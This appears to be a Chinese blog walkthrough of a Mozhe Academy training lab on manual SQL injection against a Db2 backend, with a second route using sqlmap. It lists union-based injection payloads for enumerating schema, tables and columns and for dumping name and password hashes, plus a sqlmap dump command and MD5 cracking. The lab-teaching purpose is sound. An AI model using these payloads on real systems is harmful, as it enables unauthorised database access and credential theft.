墨者学院 SQL手工注入漏洞测试(Db2数据库) 两种思路 超详细 小白也能看懂

 声明:该文章中的步骤及思路都是作者八方的阶解题思路,并非最优解,仅供参考

        墨者学院

简介:

 安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+Db2,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Db2的数据结构;
4.了解字符串的MD5加解密;

解题方向:

        思路一:手工注入方式

        思路二:使用sqlmap脚本注入

      

思路一 手工注入步骤:

        1 进入公告页面发现参数回传?id=1

试着加入单引号引起报错

        2 order by 测试回显点

回显点是2.3 (因为是DB2数据库 注意区分语法格式)

?id=-1 union select 1,2,3,4 from sysibm.systables

        3 爆库名

?id=-1 union select 1,2,current schema,4 from sysibm.sysdummy1

        4 爆表名

?id=-1 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
?id=-1 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 1,1

       5 爆列

?id=-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1



       6 爆数据

?id=-1 union select 1,name,password,4 from GAME_CHARACTER limit 0,1

        7 BD5解码

解码网站:MD5免费在线解密破解_MD5在线加密-SOMD5

-----------------------------------------------------------分割线--------------------------------------------------------

 思路二 sqlmap步骤:

因为sqlmap支持BD2数据库 所以直接跑就完事了

        1 直接-u 参数 

发现存在sql注入

        3 爆库名

        4 查询表内容

结果发现只有一列数据id 推断可能存在隐藏列名

       5 指定列名查询隐藏列

指定列名 用参数-C 用法如下


python sqlmap.py -u "http://192.168.1.1/Less-1/?id=1" -D security -T users -C username --dump  # 爆出数据库security中的users表中的username列中的所有数据

查到两条数据



     

        6 BD5解码

两条数据都得解码试一下 发现是第二条是对的

解码网站:MD5免费在线解密破解_MD5在线加密-SOMD5

  • 11
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值